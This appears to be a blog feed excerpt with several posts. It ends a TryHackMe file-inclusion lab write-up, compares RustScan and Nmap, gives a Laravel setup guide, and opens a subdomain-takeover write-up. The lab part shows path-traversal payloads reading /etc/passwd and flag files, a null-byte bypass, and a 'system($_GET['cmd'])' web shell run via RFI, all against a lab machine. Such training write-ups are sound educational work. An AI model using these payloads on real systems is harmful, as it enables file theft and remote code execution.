&lt;p&gt;To prevent file inclusion vulnerabilities, developers should practice defense-in-depth:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Keep systems, frameworks, and services updated.&lt;/li&gt;
&lt;li&gt;Disable PHP errors to prevent path disclosure.&lt;/li&gt;
&lt;li&gt;Implement a Web Application Firewall (WAF).&lt;/li&gt;
&lt;li&gt;Turn off &lt;code&gt;allow_url_fopen&lt;/code&gt; and &lt;code&gt;allow_url_include&lt;/code&gt; if not needed.&lt;/li&gt;
&lt;li&gt;Strictly validate and sanitize all user input.&lt;/li&gt;
&lt;li&gt;Use strong whitelisting for file names and locations instead of relying on blacklisting.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Ready for the challenges?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 8: Challenge&lt;/h2&gt;
&lt;p&gt;This final section is a practical assessment where you apply all the LFI and RFI techniques learned. Testing steps include finding the entry point (via GET, POST, headers, or cookies), fuzzing the input parameters, analyzing error messages for directory paths, understanding filters, and successfully injecting payloads to extract flags or gain RCE.&lt;/p&gt;
&lt;h3&gt;Capture Flag1 at /etc/flag1&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.B6Jg5KQr_LTXKM.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here we try to test using the input &quot;test&quot;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.mlXrMBUM_Z1zK9tC.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then right-click and select &quot;Edit and Resend&quot; to perform a POST request.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.Ch7JF4pR_Vd9gK.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;POST to &lt;code&gt;http://IP_MACHINE/challenges/chall1.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;with the payload &lt;code&gt;file=/etc/flag1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And don&apos;t forget to set the &lt;code&gt;Content-Type: application/x-www-form-urlencoded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Reference for this: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Type&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Type&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.CSXtGmgU_Z2oHvQG.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Click on the response section, and we get the first flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;F1x3d-iNpu7-f0rrn&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Capture Flag2 at /etc/flag2&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.B1oXUcvy_ZggdwK.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Go ahead and open Lab #Challenge-2 and refresh the page until the message &quot;Welcome Guest!. Only admins can access this page!&quot; appears.&lt;/p&gt;
&lt;p&gt;From there, we can directly try changing the cookies via Inspect, then select the Storage tab and choose Cookies.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.CsH3j7cK_Z1WNqLs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;If we try to change it to &quot;admin&quot;, we don&apos;t find much, just a message:&lt;/p&gt;
&lt;p&gt;&quot;File Content Preview of admin
Welcome admin
This is a admin web page! Get the flag!&quot;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-12.uHeNFkLs_Z13uzFa.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then we try using the keyword &quot;test&quot;, and we can find an insight into the path that appears:&lt;/p&gt;
&lt;p&gt;Warning: include(includes/test.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37&lt;/p&gt;
&lt;p&gt;So we just use &lt;code&gt;../../../../etc/flag2%00&lt;/code&gt;, where &lt;code&gt;%00&lt;/code&gt; is used to bypass the PHP extension (only works for PHP versions below 5.3.4), to retrieve the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-13.D4BV-Hof_ywhHv.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;c00k13_i5_yuMmy1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Capture Flag3 at /etc/flag3&lt;/h3&gt;
&lt;p&gt;On the Challenge 3 page, when testing with &quot;test&quot;, two warning responses appear:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-14.By49KayX_ZdbN8W.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Warning: include(test.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall3.php on line 30&lt;/p&gt;
&lt;p&gt;Warning: include() [function.include]: Failed opening &apos;test.php&apos; for inclusion (include_path=&apos;.:/usr/lib/php5.2/lib/php&apos;) in /var/www/html/chall3.php on line 30&lt;/p&gt;
&lt;p&gt;Then, when trying &lt;code&gt;etc/passwd&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-16.QPslqgbW_2yOE5.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;It turns out to be filtered; however, after reading the hint, it seems not everything is filtered.&lt;/p&gt;
&lt;p&gt;The hint states:
[Hint #1] Not everything is filtered!
[Hint #2] The website uses $_REQUESTS to accept HTTP requests. Do research to understand it and what it accepts!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-15.DuAT-uwt_Z1jaIs8.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;So we try using POST and don&apos;t forget to add &lt;code&gt;Content-Type: application/x-www-form-urlencoded&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And when testing &lt;code&gt;file=etc/passwd&lt;/code&gt;, it was successful.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-17.DPNRJ-5r_1VRrah.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;So we use the body &lt;code&gt;file=../../../../etc/flag3%00&lt;/code&gt; to retrieve the flag.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-18.DadPwL5U_17OSLN.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;P0st_1s_w0rk1in9&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s head over to &lt;code&gt;IP_MACHINE/playground.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-19.gb775-Vp_1HENT4.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We open: &lt;code&gt;IP_MACHINE/playground.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;On the page, there is a &quot;File Name&quot; input and the message:&lt;/p&gt;
&lt;p&gt;Current Path
/var/www/html&lt;/p&gt;
&lt;p&gt;When we try a payload such as:&lt;/p&gt;
&lt;p&gt;../../../../etc/passwd&lt;/p&gt;
&lt;p&gt;the server displays the file content. This indicates the presence of Local File Inclusion (LFI), as the backend likely executes:&lt;/p&gt;
&lt;p&gt;include($_GET[&apos;file&apos;]);&lt;/p&gt;
&lt;p&gt;This means the value of the &quot;file&quot; parameter is directly included by PHP without any sanitization.&lt;/p&gt;
&lt;p&gt;After that, we create a file, for example &lt;code&gt;payload.php&lt;/code&gt;, with the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;system($_GET[&apos;cmd&apos;])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then simply run it to retrieve the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;data://text/plain,&amp;#x3C;php code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-22.KFtLRyam_Xbgov.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;lfi-vm-thm-f8c5b1a78692&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/a.CcvEIwSo.webp"/><enclosure url="/_astro/a.CcvEIwSo.webp"/></item><item><title>RustScan Has Trade-Offs And Works Best With Nmap</title><link>https://farros.co/blog/rustscan-has-trade-offs-and-works-best-with-nmap/</link><guid isPermaLink="true">https://farros.co/blog/rustscan-has-trade-offs-and-works-best-with-nmap/</guid><description>RustScan is incredibly fast but noisy and lacks deep analysis. Discover why pairing its speed with Nmap&apos;s thoroughness is the best scanning strategy.</description><pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;RustScan is often praised for its incredible speed, but it&apos;s important to understand that this speed comes with certain compromises. While it&apos;s a powerful tool in a pentester&apos;s arsenal, it&apos;s designed to complement—not replace—industry standards like Nmap.&lt;/p&gt;
&lt;h2&gt;1. Speed (The Core Strength of RustScan)&lt;/h2&gt;
&lt;p&gt;RustScan is built with &lt;strong&gt;Rust&lt;/strong&gt; and utilizes &lt;strong&gt;massive parallel scanning&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It can open &lt;strong&gt;thousands of TCP connections simultaneously&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;A default port scan can complete in &lt;strong&gt;1–3 seconds&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;It&apos;s extremely efficient at identifying &lt;strong&gt;which ports are open&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Example comparison:&lt;/p&gt;
&lt;p&gt;| Tool     | Scanning 65,535 ports                  |
| -------- | ------------------------------         |
| Nmap     | 1–5 minutes (depending on settings)    |
| RustScan | 1–5 seconds                            |&lt;/p&gt;
&lt;p&gt;RustScan achieves this through &lt;strong&gt;asynchronous socket scanning&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Trade-off #1 — Significantly Fewer Features&lt;/h2&gt;
&lt;p&gt;This is the biggest trade-off.&lt;/p&gt;
&lt;h3&gt;Nmap offers a comprehensive feature set&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;OS detection&lt;/li&gt;
&lt;li&gt;Service detection&lt;/li&gt;
&lt;li&gt;Version detection&lt;/li&gt;
&lt;li&gt;Scripting engine (NSE)&lt;/li&gt;
&lt;li&gt;Vulnerability scanning&lt;/li&gt;
&lt;li&gt;Traceroute&lt;/li&gt;
&lt;li&gt;UDP scanning&lt;/li&gt;
&lt;li&gt;Network discovery&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;RustScan &lt;strong&gt;does not do these things&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;RustScan &lt;strong&gt;focuses on one thing only:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;finding &lt;strong&gt;open ports as fast as possible&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A typical workflow looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;RustScan → finds open ports
↓
Nmap → performs detailed analysis on those ports
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Common pipeline example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rustscan -a 192.168.1.1 -- -sV -sC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RustScan scans the ports → then &lt;strong&gt;automatically calls Nmap&lt;/strong&gt; to handle the rest.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Trade-off #2 — &quot;Noisier&quot; on the Network&lt;/h2&gt;
&lt;p&gt;Because RustScan opens &lt;strong&gt;many connections at once&lt;/strong&gt;, the effects are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is more easily &lt;strong&gt;detected by IDS/IPS&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;It can look exactly like a &lt;strong&gt;port scan attack&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Some firewalls will immediately &lt;strong&gt;block your IP&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In contrast, Nmap allows for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Throttled scanning&lt;/li&gt;
&lt;li&gt;Stealth scanning&lt;/li&gt;
&lt;li&gt;Precise timing control&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Example in Nmap:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-T0  (paranoid)
-T5  (insane)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RustScan &lt;strong&gt;lacks this level of flexibility&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Trade-off #3 — Risk of False Negatives&lt;/h2&gt;
&lt;p&gt;Due to its aggressive scanning nature:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Firewalls might &lt;strong&gt;drop packets&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Servers might apply &lt;strong&gt;rate limiting&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Some ports might &lt;strong&gt;go undetected&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nmap remains more &lt;strong&gt;stable and reliable&lt;/strong&gt; for serious, thorough scanning.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trade-off #4 — Resource Usage&lt;/h2&gt;
&lt;p&gt;RustScan opens &lt;strong&gt;thousands of sockets&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If your OS limit is low, you might see:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;too many open files
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You often need to manually increase the limit:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ulimit -n 5000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nmap is generally &lt;strong&gt;safer for systems with limited resources&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Usage Philosophy (The Right Way)&lt;/h2&gt;
&lt;p&gt;Among pentesters, the standard approach is usually:&lt;/p&gt;
&lt;h3&gt;Phase 1 — Rapid Discovery&lt;/h3&gt;
&lt;p&gt;Use RustScan:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rustscan -a target.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phase 2 — Detailed Analysis&lt;/h3&gt;
&lt;p&gt;Use Nmap:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap -sC -sV -p 22,80,443 target.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since &lt;strong&gt;80% of Nmap&apos;s scanning time is often spent just searching for open ports&lt;/strong&gt;, RustScan significantly accelerates that initial phase.&lt;/p&gt;
&lt;hr&gt;</content:encoded><h:img src="/_astro/a.DtMWQdcL.webp"/><enclosure url="/_astro/a.DtMWQdcL.webp"/></item><item><title>Running a Custom Laravel Project Locally</title><link>https://farros.co/blog/running-a-custom-laravel-project-locally/</link><guid isPermaLink="true">https://farros.co/blog/running-a-custom-laravel-project-locally/</guid><description>A comprehensive guide on setting up a Laravel project locally, covering environment configuration, troubleshooting Redis errors, and Vite integration.</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This guide is based on a custom Laravel + Vue.js + MySQL project setup. Your configuration may differ depending on your Laravel version, infrastructure, or environment (e.g., Docker, Sail, Redis, queue workers, etc.)&lt;/p&gt;
&lt;h2&gt;1. Clone and Prepare the Project&lt;/h2&gt;
&lt;p&gt;First, get the source code and initialize the environment file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone repository-url
cd project-folder
cp .env.example .env
composer install
php artisan key:generate
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Why Generate APP_KEY?&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;APP_KEY&lt;/code&gt; is used by Laravel to encrypt user sessions and other sensitive data (like cookies and encrypted strings). Without it, your application will throw a 500 error or display:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No application encryption key has been specified.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Running &lt;code&gt;php artisan key:generate&lt;/code&gt; automatically adds a secure random string to your &lt;code&gt;.env&lt;/code&gt; file.&lt;/p&gt;
&lt;h2&gt;2. Initial Directory Preparation&lt;/h2&gt;
&lt;p&gt;Before running any commands, ensure that the following core directories exist in your project root. These are often excluded from version control but are vital for the application to function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;public&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;storage&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bootstrap&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Verify Environment Runtimes&lt;/h2&gt;
&lt;p&gt;Ensure your local environment has the necessary versions of PHP, Node.js, and NPM. Checking Composer is also crucial as it manages all your PHP dependencies.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php -v; composer --version; node -v; npm -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Checking Composer ensures that the dependency manager is globally accessible and compatible with your PHP version.&lt;/p&gt;
&lt;h2&gt;4. Environment Configuration (.env)&lt;/h2&gt;
&lt;p&gt;Configure your &lt;code&gt;.env&lt;/code&gt; file to point to your local development server:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;APP_URL=&quot;http://localhost:8000&quot;
ASSET_URL=&quot;http://localhost:8000&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, ensure your MySQL service is active and the database credentials match your local setup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;DB_CONNECTION=mysql
DB_HOST=&quot;localhost&quot;
DB_PORT=&quot;3306&quot;
DB_DATABASE=&quot;db&quot;
DB_USERNAME=&quot;root&quot;
DB_PASSWORD=&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Database Migrations and Data Seeding&lt;/h2&gt;
&lt;p&gt;Once your database is configured, you need to set up the tables and initial data.&lt;/p&gt;
&lt;p&gt;If the project is new or has a clean migration history, run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php artisan migrate
php artisan db:seed
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Handling Complex Databases&lt;/h3&gt;
&lt;p&gt;If the database is complex or migration files are missing/broken, it&apos;s often easier to import a SQL dump from a working environment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exporting (from source):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mysqldump -u username -p database_name &gt; backup.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Importing (to local):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mysql -u root -p sql_kiw &amp;#x3C; backup.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. Installing Dependencies&lt;/h2&gt;
&lt;p&gt;Open your terminal (e.g., Laragon&apos;s built-in terminal) and navigate to your project directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.ClF88_-U_1oFdeD.webp&quot; alt=&quot;Accessing the terminal&quot;&gt;&lt;/p&gt;
&lt;p&gt;Install the PHP dependencies using Composer (if you haven&apos;t already in step 1):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;composer install
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. Troubleshooting Common Issues&lt;/h2&gt;
&lt;h3&gt;Storage &amp;#x26; Bootstrap Permission Issues&lt;/h3&gt;
&lt;p&gt;If you encounter &quot;Permission denied&quot; errors when Laravel tries to write logs or cache, you may need to grant write access to specific directories:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod -R 775 storage
chmod -R 775 bootstrap/cache
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bootstrap Cache Errors&lt;/h3&gt;
&lt;p&gt;If you encounter errors related to the bootstrap directory during installation:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Cl7ZJA-T_ZT0QBC.webp&quot; alt=&quot;Bootstrap error&quot;&gt;&lt;/p&gt;
&lt;p&gt;A common fix is to ensure the &lt;code&gt;bootstrap/cache&lt;/code&gt; directory exists and is writable. In some cases, copying the &lt;code&gt;bootstrap&lt;/code&gt; folder structure from a fresh Laravel installation or a known working environment can resolve initialization issues.&lt;/p&gt;
&lt;h3&gt;Redis Connection Issues&lt;/h3&gt;
&lt;p&gt;If your local environment (like a default Laragon setup) does not have Redis installed, you might see the following error during &lt;code&gt;package:discover&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Script @php artisan package:discover --ansi handling the post-autoload-dump event returned with error code 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To fix this, switch your drivers to use the &lt;code&gt;file&lt;/code&gt; or &lt;code&gt;database&lt;/code&gt; system in your &lt;code&gt;.env&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;From:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;CACHE_DRIVER=redis
SESSION_DRIVER=redis
QUEUE_CONNECTION=database
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;To:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_CONNECTION=sync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After updating the configuration, run the installation again to confirm success.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.x0Q2mjWP_HAQni.webp&quot; alt=&quot;Successful installation&quot;&gt;&lt;/p&gt;
&lt;h2&gt;8. Serving the Application&lt;/h2&gt;
&lt;p&gt;Start the local development server:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php artisan serve
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the application fails to load, enable debug mode in &lt;code&gt;.env&lt;/code&gt; to see detailed error messages:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;APP_DEBUG=true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To ensure you are not seeing stale configurations, run the following maintenance commands:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php artisan config:clear
php artisan cache:clear
php artisan view:clear
php artisan route:clear
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;9. Frontend Development (Vite &amp;#x26; Vue.js)&lt;/h2&gt;
&lt;p&gt;For projects using Vue.js and Vite, you must install the Node dependencies and start the development server.&lt;/p&gt;
&lt;p&gt;Install dependencies:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install
# Use --legacy-peer-deps if you encounter version conflicts
# npm install --legacy-peer-deps
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Vite Environment Variables&lt;/h3&gt;
&lt;p&gt;Some projects rely on specific environment variables in the frontend. You might need to add:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;VITE_APP_NAME=&quot;${APP_NAME}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This allows Vite to access your Laravel application name during the build process or development.&lt;/p&gt;
&lt;p&gt;Run the Vite development server:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BTgCaMd5_ZKbqEw.webp&quot; alt=&quot;Vite running&quot;&gt;&lt;/p&gt;
&lt;p&gt;The frontend source files are primarily located in &lt;code&gt;resources/js&lt;/code&gt;. With Vite running, any changes you make to these files will be reflected instantly in your browser.&lt;/p&gt;
&lt;h2&gt;Quick Setup Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Clone repository&lt;/li&gt;
&lt;li&gt;[ ] Create &lt;code&gt;.env&lt;/code&gt; from &lt;code&gt;.env.example&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;[ ] Run &lt;code&gt;composer install&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;[ ] Run &lt;code&gt;php artisan key:generate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;[ ] Configure &lt;code&gt;DB_*&lt;/code&gt; in &lt;code&gt;.env&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;[ ] Run &lt;code&gt;php artisan migrate --seed&lt;/code&gt; (or import SQL)&lt;/li&gt;
&lt;li&gt;[ ] Run &lt;code&gt;npm install&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;[ ] Run &lt;code&gt;npm run dev&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;[ ] Run &lt;code&gt;php artisan serve&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="/_astro/a.DY7M6uBo.webp"/><enclosure url="/_astro/a.DY7M6uBo.webp"/></item><item><title>TakeOver | TryHackMe Write-up</title><link>https://farros.co/blog/takeover-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/takeover-tryhackme-write-up/</guid><description>Complete walkthrough for TakeOver TryHackme room. This challenge revolves around subdomain enumeration.</description><pubDate>Mon, 02 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/takeover&quot;&gt;TakeOver&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Help Us&lt;/h2&gt;
&lt;p&gt;The CEO and co-founder of &lt;strong&gt;futurevera.thm&lt;/strong&gt; says their space research website is being threatened by blackhat hackers demanding ransom, claiming they can take over the site. They are asking for help to identify what the attackers could compromise.&lt;/p&gt;
&lt;p&gt;The target website is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://futurevera.thm&quot;&gt;https://futurevera.thm&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There is a hint to add this entry to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;IP_MACHINE futurevera.thm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The task is to investigate the website and determine what can be taken over, then find the &lt;strong&gt;flag value&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Okay, I&apos;m using RustScan here, so let&apos;s run it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rustscan -a IP_MACHINE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.BUMo8cT__Z2cOpnh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We found 3 open ports:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack
80/tcp  open  http    syn-ack
443/tcp open  https   syn-ack
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, when we open the website, we get:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.D_AjsbVz_Zl5wvk.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We need to edit the hosts file to add the IP:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo nano /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we add:&lt;/p&gt;
&lt;p&gt;10.49.162.160   *.futurevera.thm
10.49.162.160   futurevera.thm&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.Dt43yKWL_ZJfLy.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
